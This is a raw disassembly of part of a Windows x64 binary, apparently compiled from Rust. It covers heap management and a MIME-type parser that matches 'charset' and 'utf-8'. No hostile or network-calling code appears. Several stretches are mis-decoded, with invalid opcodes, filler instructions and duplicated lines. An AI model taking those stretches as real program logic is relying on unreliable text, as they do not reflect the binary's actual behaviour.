call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r10, rdi
mov rax, r12
shl rax, 4
mov qword [r10 + rax], rsi
mov qword [r10 + rax + 8], rbp
inc r12
mov rbp, r12
cmp r12, 2
mov qword [rsp + 0x70], r10
jae 0x140098931
jmp 0x140098766
mov r14, rsi
mov rdx, rbx
sub r8, rdx
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
add r15, r12
mov rax, qword [rsp + 0x80]
mov qword [rax], r15
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x78]
mov qword [rcx], rax
lea rdx, [r13 + 0x10]
not rdi
mov r8, qword [rsp + 0x90]
add r8, rdi
shl r8, 4
mov rcx, r13
call sub.VCRUNTIME140.dll_memmove
cmp rbp, 1
mov r14, qword [rsp + 0x68]
mov r10, qword [rsp + 0x70]
jbe 0x140098760
mov r12, rbp
lea r11, [rbp - 1]
mov rcx, r11
shl rcx, 4
mov rax, qword [r10 + rcx]
mov rcx, qword [r10 + rcx + 8]
add rcx, rax
ror dword [rcx + rdi - 0xf], 0x74
push rax
ror dword [rcx + rdi - 0xf], 0x74
push rax
mov rdx, r12
shl rdx, 4
mov r8, qword [rdx + r10 - 0x20]
cmp r8, rax
jbe 0x1400989a0
cmp r12, 3
jb 0x140098cde
lea rdi, [r12 - 3]
mov rcx, rdi
shl rcx, 4
mov rcx, qword [r10 + rcx]
lea r9, [r8 + rax]
cmp rcx, r9
jbe 0x1400989b6
cmp r12, 4
jb 0x140098ce9
add r8, rcx
cmp qword [rdx + r10 - 0x40], r8
jbe 0x1400989b6
jmp 0x140098766
cmp r12, 3
jb 0x1400989bb
lea rdi, [r12 - 3]
mov rcx, rdi
shl rcx, 4
mov rcx, qword [r10 + rcx]
cmp rcx, rax
jb 0x1400989c0
lea rdi, [r12 - 2]
cmp r12, rdi
jbe 0x140098d74
lea rax, [rdi + 1]
cmp r12, rax
jbe 0x140098dbf
mov rdx, rdi
shl rdx, 4
mov rcx, qword [r10 + rdx + 8]
shl rax, 4
mov r15, qword [r10 + rax]
mov r13, qword [r10 + rax + 8]
add r13, r15
mov rbx, r13
sub rbx, rcx
jb 0x140098e0a
cmp r13, r14
ja 0x140098e1b
xchg dword [rsp + rax], edx
add byte [rax], al
mov qword [rsp + 0x30], r11
mov qword [rsp + 0x90], r12
lea r8, [r10 + rdx]
mov qword [rsp + 0x28], r8
mov r12, qword [r10 + rdx]
lea rdx, [r10 + rax]
mov qword [rsp + 0x80], rdx
mov dword [rsp + 0x80], edx
lea rax, [r10 + rax + 8]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x88], rcx
lea r14, [rax + rcx*8]
lea rsi, [r14 + r12*8]
mov rbp, rbx
sub rbp, r12
cmp rbp, r12
jae 0x140098af0
lea r8, [rbp*8]
mov rbx, qword [rsp + 0x20]
mov rcx, rbx
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea r8, [rbx + rbp*8]
test r12, r12
jle 0x140098b90
test rbp, rbp
jle 0x140098b90
mov rax, qword [rsp + 0x60]
lea rax, [rax + r13*8]
add rax, 0xfffffffffffffff4
mov rbp, qword [rsp + 0x30]
mov r13, qword [rsp + 0x28]
movzx ecx, byte [r8 - 8]
movzx edx, byte [rsi - 8]
cmp cl, dl
mov r9d, 0
sbb r9, r9
cmp cl, dl
mov r10d, 0
adc r10, 0xffffffffffffffff
cmp cl, dl
lea rsi, [rsi + r9*8]
lea r8, [r8 + r10*8]
mov rcx, r8
cmovb rcx, rsi
mov rcx, qword [rcx]
mov qword [rax], rcx
cmp rsi, r14
jbe 0x1400988d0
add rax, 0xfffffffffffffff8
cmp r8, rbx
fdiv dword [rdi - 0x49]
jmp 0x1400988d0
lea r8, [r12*8]
mov rbp, qword [rsp + 0x20]
mov rcx, rbp
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
lea r8, [r12*8]
add r8, rbp
test r12, r12
jle 0x140098b95
cmp rbx, r12
mov rbp, qword [rsp + 0x30]
jle 0x140098bac
mov rax, qword [rsp + 0x38]
lea rax, [rax + r13*8]
mov rbx, qword [rsp + 0x20]
mov rdx, rbx
mov r13, qword [rsp + 0x28]
nop dword [rax]
movzx r9d, byte [rsi]
xor r10d, r10d
xor ecx, ecx
cmp r9b, byte [rdx]
setae r10b
setb r9b
mov r11, rdx
cmovb r11, rsi
mov r11, qword [r11]
mov qword [r14], r11
add r14, 8
lea rdx, [rdx + r10*8]
cmp rdx, r8
jae 0x1400988d6
mov cl, r9b
lea rsi, [rsi + rcx*8]
cmp rsi, rax
jb 0x140098b40
jmp 0x1400988d6
mov r14, rsi
jmp 0x140098b9a
mov rbx, qword [rsp + 0x20]
mov rdx, rbx
mov rbp, qword [rsp + 0x30]
mov r13, qword [rsp + 0x28]
jmp 0x1400988d6
mov rbx, qword [rsp + 0x20]
mov rdx, rbx
mov r13, qword [rsp + 0x28]
jmp 0x1400988d6
mov r12d, 2
jmp 0x140098766
mov r12d, 3
jmp 0x140098766
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r10
mov rsi, qword [sym.imp.KERNEL32.dll_HeapFree]
call rsi
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
mov rax, rsi
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
lea rax, [0x1401de458]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 1
lea rax, [0x140204680]
mov qword [rsp + 0xa8], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xb0], xmm0
lea rdx, [0x1401de660]
lea rcx, [rsp + 0x98]
call fcn.140160e20
ud2
lea rax, [0x1401de458]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 1
lea rax, [0x140204680]
mov qword [rsp + 0xa8], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xb0], xmm0
lea rdx, [0x1401de678]
lea rcx, [rsp + 0x98]
call fcn.140160e20
ud2
lea r8, [0x1401de690]
mov rdx, r13
call fcn.140161190
ud2
lea r8, [0x1401de690]
mov rcx, r13
mov rdx, r14
call fcn.140160f40
ud2
xor ebx, ebx
mov r9d, edx
sub r9d, edi
setne bl
jne 0x140099f9c
mov rdx, rdi
jmp 0x140099f9c
mov ebx, 1
mov rdx, r9
mov r14d, ebp
mov qword [rax + 0x10], rdx
test ebx, ebx
je 0x140099fd4
movzx eax, sil
shl r14d, 8
or r14d, eax
movzx eax, r8b
movzx ecx, r11b
shl ecx, 8
or ecx, eax
movd xmm0, ecx
pinsrw xmm0, r14d, 1
movd eax, xmm0
shl rax, 8
or rax, 1
jmp 0x140099fda
mov qword [rax + 0x10], rcx
xor eax, eax
add rsp, 0x20
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea esi, [rdi + rdi*4]
movzx r12d, bpl
lea ebp, [r12 + r14*2]
mov r14d, r15d
cmp ebp, 0xff
add byte [rax], al
add byte [rax], al
ja 0x140099ea3
add r9, 4
cmp r9, rdx
jne 0x14009a065
mov r14d, ebp
jmp 0x140099e92
movzx edx, byte [r10 + r9]
add dl, 0xd0
mov r14d, ebp
cmp dl, 9
jbe 0x140099ea3
jmp 0x140099f91
and al, 0x58
lea rax, [0x14005ef40]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x30]
and al, 0x30
and al, 0x30
mov qword [rsp + 0x68], rax
lea rax, [fcn.140058ea0]
mov qword [rsp + 0x70], rax
lea rax, [0x1401bafb8]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 3
mov qword [rsp + 0x98], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x88], rax
mov byte [rax], al
add byte [rax], al
mov byte [rax], al
add byte [rax], al
mov qword [rsp + 0x90], 3
add byte [rax], al
add eax, dword [rax]
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x78]
and al, 0x78
and al, 0x78
call fcn.140059e20
nop
add rsp, 0xa8
ret
stosd dword [rdi], eax
cld
sti
call qword [rax - 0x573b7eb8]
add byte [rax], al
add bl, al
lea rax, [0x1401baf1a]
add eax, 0x120d95
add eax, 0x120d95
mov r8d, 0x40
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
add rsp, 0xa8
add byte [rcx - 1], cl
invalid
add byte [rcx - 1], cl
loope 0x14009a171
int3
jo 0x14009a243
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov edx, dword [rdx + 0x28]
lea r8, [rsp + 0x58]
mov edx, dword [rdx + 0x28]
lea r8, [rsp + 0x58]
call fcn.140059e20
nop
add rsp, 0x88
invalid
mov byte [rax], al
add byte [rax], al
ret
retf 0xfbfb
invalid
sub rsp, 0x108
movdqa xmmword [rsp + 0xf0], xmm10
movdqa xmmword [rsp + 0xe0], xmm9
loopne 0x14009a285
add byte [rax], al
loopne 0x14009a285
add byte [rax], al
movdqa xmmword [rsp + 0xd0], xmm8
movdqa xmmword [rsp + 0xc0], xmm7
movdqa xmmword [rsp + 0xb0], xmm6
mov ah, 0x24
mov al, 0
add byte [rax], al
and al, 0xd0
add byte [rax], al
add byte [rsi + 0xf], ah
jg 0x14009a251
and al, 0xc0
add byte [rax], al
add byte [rsi + 0xf], ah
jg 0x14009a252
invalid
and al, 0xb0
add byte [rax], al
add byte [rbp - 0x77], cl
ret 0x8949
mov r10, r8
mov r13, rdx
mov r8, rcx
cmp r10, 3
add esi, dword [rbp + 0x1b]
movzx eax, word [r13]
xor eax, 0x2f2a
movzx ecx, byte [r13 + 2]
xor ecx, 0x2a
or cx, ax
je 0x14009a3b2
lea rdx, [r10 + r13]
xor eax, eax
lea rbx, [0x1401bb150]
mov esi, 2
nop
mov r12b, 1
cmp r10, rax
je 0x14009a39a
mov rdi, rax
movzx r14d, byte [r13 + rax]
inc rax
cmp byte [r14 + rbx], 0
jne 0x14009a2e0
mov r9b, 3
cmp r14b, 0x2f
jne 0x14009a3aa
test rdi, rdi
je 0x14009a3aa
lea rcx, [rdi + r13]
inc rcx
cmp rcx, rdx
je 0x14009a3e4
lea r15, [rax + r13]
inc r15
xor esi, esi
mov r11, rax
jmp 0x14009a35a
cmp byte [r14 + rbx], 0
je 0x14009a48a
inc r15
mov r11, rbp
cmp r10, rbp
je 0x14009a3e6
movzx r14d, byte [r15 - 1]
lea rbp, [r11 + 1]
cmp r14d, 0x2b
je 0x14009a380
cmp r14d, 0x3b
jne 0x14009a340
cmp r11, rax
jbe 0x14009a340
jmp 0x14009a59f
cmp r11, rax
jbe 0x14009a340
mov esi, 1
mov r9, r11
inc r15
mov r11, rbp
cmp r10, rbp
jne 0x14009a35a
jmp 0x14009a3e6
xor r9d, r9d
mov rdi, r10
mov esi, 2
jmp 0x14009acf3
mov r11, rdi
jmp 0x14009acf3
mov r11d, 2
lea r15, [0x1401d8688]
mov r10d, 3
mov edi, 1
xor ebp, ebp
xor r14d, r14d
xor r12d, r12d
xor eax, eax
mov qword [rsp + 0x48], rax
xor ebx, ebx
xor eax, eax
xor esi, esi
jmp 0x14009acf3
xor esi, esi
test r10, r10
je 0x14009a47f
js 0x14009b841
mov qword [rsp + 0x38], r9
mov r14, r8
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
scasd eax, dword [rdi]
invalid
add byte [rax - 0x7b], cl
leave
jne 0x14009a42f
mov rbp, r10
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14009b832
adc al, 0
invalid
mov rcx, rax
mov qword [0x140215360], rax
xor al, 0xaf
invalid
add byte [rcx - 0x77], cl
invalid
xor edx, edx
mov r8, r10
mov rbp, r10
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14009b832
mov rbx, rax
mov r15, rax
mov rcx, rbx
mov rdx, r13
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rbx
cmp rbp, 8
mov r8, r14
mov r10, rbp
mov r9, qword [rsp + 0x38]
jb 0x14009acb8
cmp r10, 0x20
jae 0x14009a497
xor eax, eax
jmp 0x14009a52e
mov r15d, 1
jmp 0x14009acdf
mov esi, 2
mov r9b, 3
jmp 0x14009acf3
mov rax, r10
and rax, 0xffffffffffffffe0
xor ecx, ecx
movdqa xmm0, xmmword [0x140168b10]
movdqa xmm1, xmmword [0x140168760]
movdqa xmm2, xmmword [0x140168770]
nop dword [rax + rax]
movdqu xmm3, xmmword [r15 + rcx]
movdqu xmm4, xmmword [r15 + rcx + 0x10]
movdqa xmm5, xmm3
paddb xmm5, xmm0
movdqa xmm6, xmm4
paddb xmm6, xmm0
movdqa xmm7, xmm5
pminub xmm7, xmm1
pcmpeqb xmm7, xmm5
pand xmm7, xmm2
movdqa xmm5, xmm6
pminub xmm5, xmm1
pcmpeqb xmm5, xmm6
pand xmm5, xmm2
por xmm7, xmm3
por xmm5, xmm4
movdqu xmmword [r15 + rcx], xmm7
movdqu xmmword [r15 + rcx + 0x10], xmm5
add rcx, 0x20
cmp rax, rcx
jne 0x14009a4c0
cmp rax, r10
je 0x14009acdf
test r10b, 0x18
je 0x14009acb2
mov rdx, r10
and rdx, 0xfffffffffffffff8
lea rcx, [rbx + rdx]
movdqa xmm0, xmmword [0x140168b20]
movdqa xmm1, xmmword [0x140168b30]
movdqa xmm2, xmmword [0x140168b40]
nop word cs:[rax + rax]
movq xmm3, qword [r15 + rax]
movdqa xmm4, xmm3
paddb xmm4, xmm0
movdqa xmm5, xmm4
pmaxub xmm5, xmm1
pcmpeqb xmm5, xmm4
pandn xmm5, xmm2
por xmm5, xmm3
movq qword [r15 + rax], xmm5
add rax, 8
cmp rdx, rax
jne 0x14009a560
cmp rdx, r10
jne 0x14009acb8
jmp 0x14009acdf
mov qword [rsp + 0x88], 2
cmp rbp, r10
jae 0x14009ac76
lea rax, [r11 + 2]
mov qword [rsp + 0x68], rax
movdqa xmm6, xmmword [reloc.WS2_32.dll_ioctlsocket]
movdqa xmm7, xmmword [reloc.WS2_32.dll_bind]
mov r14, rbp
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x60], r14
mov cl, 1
mov qword [rsp + 0x78], rcx
cmp r15, rdx
je 0x14009adb1
movzx r14d, byte [r15]
inc r15
mov qword [rsp + 0x48], rbp
inc rbp
cmp r14, 0x20
je 0x14009a6b0
cmp byte [r14 + rbx], 0
jne 0x14009a5e1
mov cl, 3
mov qword [rsp + 0x78], rcx
cmp r14b, 0x3d
jne 0x14009ae15
mov qword [rsp + 0x80], r11
mov rcx, qword [rsp + 0x48]
cmp rcx, qword [rsp + 0x60]
jbe 0x14009ae15
xor ecx, ecx
mov qword [rsp + 0x30], rbp
mov r11, rbp
test cl, cl
je 0x14009a680
cmp r15, rdx
je 0x14009adaa
lea rdx, [r15 + 1]
movzx r14d, byte [r15]
lea rbp, [r11 + 1]
cmp r14b, 0x22
jne 0x14009a663
cmp r11, qword [rsp + 0x30]
ja 0x14009a6ce
cmp r14b, 0x20
jb 0x14009adb1
mov r15, rdx
cmp r14b, 0x7f
mov rdx, qword [rsp + 0x28]
jne 0x14009a63a
jmp 0x14009adb1
cmp r15, rdx
je 0x14009a6ff
movzx r14d, byte [r15]
inc r15
lea rbp, [r11 + 1]
cmp r14, 0x22
je 0x14009a69f
cmp byte [r14 + rbx], 0
jne 0x14009a63a
jmp 0x14009a70a
mov r14b, 0x22
mov cl, 1
cmp r11, qword [rsp + 0x30]
je 0x14009a635
jmp 0x14009adb1
mov r14, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
cmp rcx, r14
jne 0x14009ae06
inc r14
mov rcx, r14
jmp 0x14009ac22
mov rcx, qword [rsp + 0x28]
cmp rdx, rcx
je 0x14009a73f
add rcx, r11
sub rcx, r15
movzx r14d, byte [rdx]
cmp r14d, 0x20
jne 0x14009a725
inc rdx
inc rbp
cmp rdx, qword [rsp + 0x28]
jne 0x14009a6de
mov rbp, rcx
mov r15, qword [rsp + 0x28]
jmp 0x14009a742
mov rbp, r11
mov r15, rdx
mov r11, r10
jmp 0x14009a742
cmp r14b, 0x3b
jne 0x14009adb1
mov qword [rsp + 0x70], rbp
cmp r11, qword [rsp + 0x30]
ja 0x14009a747
jmp 0x14009adb1
cmp r14d, 0x3b
jne 0x14009ae01
inc rbp
inc rdx
mov r15, rdx
mov qword [rsp + 0x70], rbp
jmp 0x14009a747
mov r15, rcx
mov qword [rsp + 0x70], r10
mov rcx, qword [rsp + 0x88]
test rcx, rcx
je 0x14009a800
cmp ecx, 1
jne 0x14009a8e4
cmp rax, qword [rsp + 0xa0]
mov r14, qword [rsp + 0x50]
jne 0x14009a7b4
lea rcx, [rsp + 0x98]
mov rdx, rax
mov qword [rsp + 0x58], r8
mov r14, r10
mov qword [rsp + 0x38], r9
mov qword [rsp + 0x50], r11
call fcn.140044bb0
mov r11, qword [rsp + 0x50]
mov r9, qword [rsp + 0x38]
mov r10, r14
mov r8, qword [rsp + 0x58]
mov r14, qword [rsp + 0x98]
mov rax, qword [rsp + 0xa8]
mov rdx, rax
mov rcx, rax
shl rcx, 5
mov rax, qword [rsp + 0x60]
mov qword [r14 + rcx], rax
mov rax, qword [rsp + 0x48]
mov qword [r14 + rcx + 8], rax
mov rax, qword [rsp + 0x30]
mov qword [r14 + rcx + 0x10], rax
mov qword [rsp + 0x50], r14
mov qword [r14 + rcx + 0x18], r11
mov rax, rdx
inc rax
mov qword [rsp + 0xa8], rax
mov r11, qword [rsp + 0x80]
jmp 0x14009ac18
mov r14, r11
mov qword [rsp + 0x38], r9
mov qword [rsp + 0x40], r10
mov qword [rsp + 0x58], r8
movdqu xmm8, xmmword [rsp + 0x90]
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x14009a845
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14009b871
mov qword [0x140215360], rax
mov r8d, 0x40
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14009b871
pshufd xmm0, xmm8, 0x44
movdqa xmm1, xmm0
paddq xmm1, xmm6
paddq xmm0, xmm7
movdqu xmmword [rax], xmm0
movdqu xmmword [rax + 0x10], xmm1
mov rcx, qword [rsp + 0x60]
mov qword [rax + 0x20], rcx
mov rcx, qword [rsp + 0x48]
mov qword [rax + 0x28], rcx
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0x30], rcx
mov qword [rax + 0x38], r14
mov qword [rsp + 0x88], 1
mov r11, qword [rsp + 0x80]
mov qword [rsp + 0x90], r11
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 2
mov qword [rsp + 0xa8], 2
mov eax, 2
jmp 0x14009ac09
mov rcx, qword [rsp + 0x68]
cmp rcx, qword [rsp + 0x60]
jne 0x14009ab50
test rcx, rcx
je 0x14009a905
cmp byte [r13 + rcx], 0xc0
jl 0x14009b88b
mov rdx, qword [rsp + 0x48]
cmp rdx, r10
jae 0x14009a91c
cmp byte [r13 + rdx], 0xbf
jg 0x14009a922
jmp 0x14009b88b
jne 0x14009b88b
mov rcx, qword [rsp + 0x48]
sub rcx, qword [rsp + 0x68]
cmp rcx, 7
jne 0x14009ab50
mov rcx, qword [rsp + 0x68]
movzx ecx, byte [r13 + rcx]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x63
jne 0x14009ab50
mov rcx, qword [rsp + 0x68]
movzx ecx, byte [r13 + rcx + 1]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x68
jne 0x14009ab50
mov rcx, qword [rsp + 0x68]
movzx ecx, byte [r13 + rcx + 2]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x61
jne 0x14009ab50
mov rcx, qword [rsp + 0x68]
movzx ecx, byte [r13 + rcx + 3]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x72
jne 0x14009ab50
mov rcx, qword [rsp + 0x68]
movzx ecx, byte [r13 + rcx + 4]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x73
jne 0x14009ab50
mov rcx, qword [rsp + 0x68]
movzx ecx, byte [r13 + rcx + 5]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x65
jne 0x14009ab50
mov rcx, qword [rsp + 0x68]
movzx ecx, byte [r13 + rcx + 6]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x74
jne 0x14009ab50
mov rdx, r10
mov r14, r11
mov rcx, r11
sub rcx, qword [rsp + 0x30]
jb 0x14009b8c5
cmp qword [rsp + 0x30], 0
je 0x14009aa5f
cmp qword [rsp + 0x30], rdx
jae 0x14009aa59
mov r10, qword [rsp + 0x30]
cmp byte [r13 + r10], 0xc0
jge 0x14009aa5f
jmp 0x14009b8c5
jne 0x14009b8c5
test r14, r14
je 0x14009aa7c
cmp r14, rdx
jae 0x14009aa76
cmp byte [r13 + r14], 0xbf
jg 0x14009aa7c
jmp 0x14009b8c5
jne 0x14009b8c5
cmp rcx, 5
mov r10, rdx
mov r11, r14
jne 0x14009ab50
mov rcx, qword [rsp + 0x30]
movzx ecx, byte [r13 + rcx]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x75
jne 0x14009ab50
mov rcx, qword [rsp + 0x30]
movzx ecx, byte [r13 + rcx + 1]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x74
jne 0x14009ab50
mov rcx, qword [rsp + 0x30]
movzx ecx, byte [r13 + rcx + 2]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x66
jne 0x14009ab50
mov rcx, qword [rsp + 0x30]
movzx ecx, byte [r13 + rcx + 3]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x2d
jne 0x14009ab50
mov rcx, qword [rsp + 0x30]
movzx ecx, byte [r13 + rcx + 4]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x38
mov rdx, qword [rsp + 0x28]
jne 0x14009ab50
mov qword [rsp + 0x88], 0
mov r11, qword [rsp + 0x80]
mov qword [rsp + 0x90], r11
jmp 0x14009ac1d
mov qword [rsp + 0x58], r8
mov r14, r11
mov qword [rsp + 0x38], r9
mov qword [rsp + 0x40], r10
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x14009ab8b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14009b860
mov qword [0x140215360], rax
mov r8d, 0x20
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14009b860
mov rcx, qword [rsp + 0x60]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x48]
mov qword [rax + 8], rcx
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], r14
mov qword [rsp + 0x88], 1
mov r11, qword [rsp + 0x80]
mov qword [rsp + 0x90], r11
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 1
mov qword [rsp + 0xa8], 1
mov eax, 1
mov r8, qword [rsp + 0x58]
mov r10, qword [rsp + 0x40]
mov r9, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x70]
mov r14, rcx
cmp rcx, r10
jb 0x14009a5d5
mov qword [rsp + 0x80], r11
mov r15, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x90]
mov r11, qword [rsp + 0x98]
mov r14d, edx
shr r14d, 8
mov rbp, rdx
shr rbp, 0x10
cmp r15, 3
jne 0x14009ae1c
mov r12b, 1
mov esi, 2
mov r9, rdx
jmp 0x14009acf3
mov r15d, 2
xor ecx, ecx
cmp r11, r10
jae 0x14009aee8
cmp byte [r13 + r11], 0xbf
jg 0x14009aeee
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fmime_0.3.17_srcparse.rs
mov qword [rsp + 0x20], rax
mov rcx, r13
mov rdx, r10
xor r8d, r8d
mov r9, r11
call fcn.140161400
ud2
add rax, rbx
mov rcx, rax
add rbx, r10
nop dword [rax + rax]
movzx eax, byte [rcx]
lea edx, [rax - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, al
mov byte [rcx], dl
lea rax, [rcx + 1]
mov rcx, rax
cmp rax, rbx
jne 0x14009acc0
mov r14d, r9d
shr r14d, 8
mov rbp, r9
shr rbp, 0x10
mov r11d, 2
shl rbp, 0x10
movzx edx, r14b
shl rdx, 8
or rdx, rbp
movzx ecx, r9b
or rcx, rdx
cmp rsi, 2
jne 0x14009ad1e
mov qword [r8 + 8], rcx
mov qword [r8 + 0x10], r11
mov esi, 2
jmp 0x14009ad68
mov qword [r8 + 8], rcx
mov qword [r8 + 0x10], r11
mov rcx, qword [rsp + 0x28]
mov qword [r8 + 0x18], rcx
mov qword [r8 + 0x20], rax
mov qword [r8 + 0x28], rbx
mov rax, qword [rsp + 0x48]
mov qword [r8 + 0x30], rax
mov byte [r8 + 0x38], r12b
mov eax, dword [0x1401bb099]
mov dword [r8 + 0x39], eax
mov eax, dword [0x1401bb09c]
mov dword [r8 + 0x3c], eax
mov qword [r8 + 0x40], r15
mov qword [r8 + 0x48], r10
mov qword [r8 + 0x50], r10
mov qword [r8 + 0x58], rdi
mov qword [r8], rsi
movaps xmm6, xmmword [rsp + 0xb0]
movaps xmm7, xmmword [rsp + 0xc0]
movaps xmm8, xmmword [rsp + 0xd0]
movaps xmm9, xmmword [rsp + 0xe0]
movaps xmm10, xmmword [rsp + 0xf0]
add rsp, 0x108
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov al, 2
mov qword [rsp + 0x78], rax
cmp dword [rsp + 0x88], 1
jne 0x14009adef
cmp qword [rsp + 0xa0], 0
je 0x14009adef
mov rsi, r8
mov r8, qword [rsp + 0x98]
mov rcx, qword [0x140215360]
xor edx, edx
mov rbx, r10
mov r15, r11
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r11, r15
mov r10, rbx
mov r8, rsi
mov r12b, 1
mov esi, 2
mov r9, qword [rsp + 0x78]
jmp 0x14009acf3
mov r11, rbp
jmp 0x14009adb1
mov al, 3
mov qword [rsp + 0x78], rax
mov r14b, 0x20
mov r11, rcx
jmp 0x14009adb1
mov r11, qword [rsp + 0x48]
jmp 0x14009adb1
mov rbx, qword [rsp + 0xa0]
shl rbp, 0x10
movzx r14d, r14b
shl r14, 8
lea rcx, [r14 + rbp]
movzx edx, dl
or rcx, rdx
cmp r15, 2
mov qword [rsp + 0x50], r11
mov qword [rsp + 0x48], rax
je 0x14009aed7
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x38], r9
mov qword [rsp + 0x58], r8
mov qword [rsp + 0x78], r15
cmp r15, 1
jne 0x14009b0da
mov qword [rsp + 0x40], r10
test r10, r10
je 0x14009b161
js 0x14009b841
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14009aead
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14009aec6
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
test rax, rax
jne 0x14009b167
mov ecx, 1
mov rdx, qword [rsp + 0x40]
call fcn.14015d7f0
ud2
mov r11, qword [rsp + 0x80]
cmp r11, r10
jb 0x14009ac87
jne 0x14009ac93
test r11, r11
js 0x14009b841
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x38], r9
mov qword [rsp + 0x58], r8
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14009af38
mov r14, r11
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14009b848
mov rcx, rax
mov qword [0x140215360], rax
mov r11, r14
xor edx, edx
mov r8, r11
mov r14, r11
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14009b848
mov rbp, rax
mov qword [rsp + 0x78], r15
mov r15, rax
mov rcx, rbp
mov rdx, r13
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rbp
cmp r14, 8
mov r8, qword [rsp + 0x58]
mov r9, qword [rsp + 0x38]
mov r11, qword [rsp + 0x50]
jb 0x14009b090
cmp r14, 0x20
jae 0x14009af95
mov r10, r14
xor r14d, r14d
jmp 0x14009b026
mov r10, r14
and r14, 0xffffffffffffffe0
xor ecx, ecx
movdqa xmm0, xmmword [0x140168b10]
movdqa xmm1, xmmword [0x140168760]
movdqa xmm2, xmmword [0x140168770]
movdqu xmm3, xmmword [r15 + rcx]
movdqu xmm4, xmmword [r15 + rcx + 0x10]
movdqa xmm5, xmm3
paddb xmm5, xmm0
movdqa xmm6, xmm4
paddb xmm6, xmm0
movdqa xmm7, xmm5
pminub xmm7, xmm1
pcmpeqb xmm7, xmm5
pand xmm7, xmm2
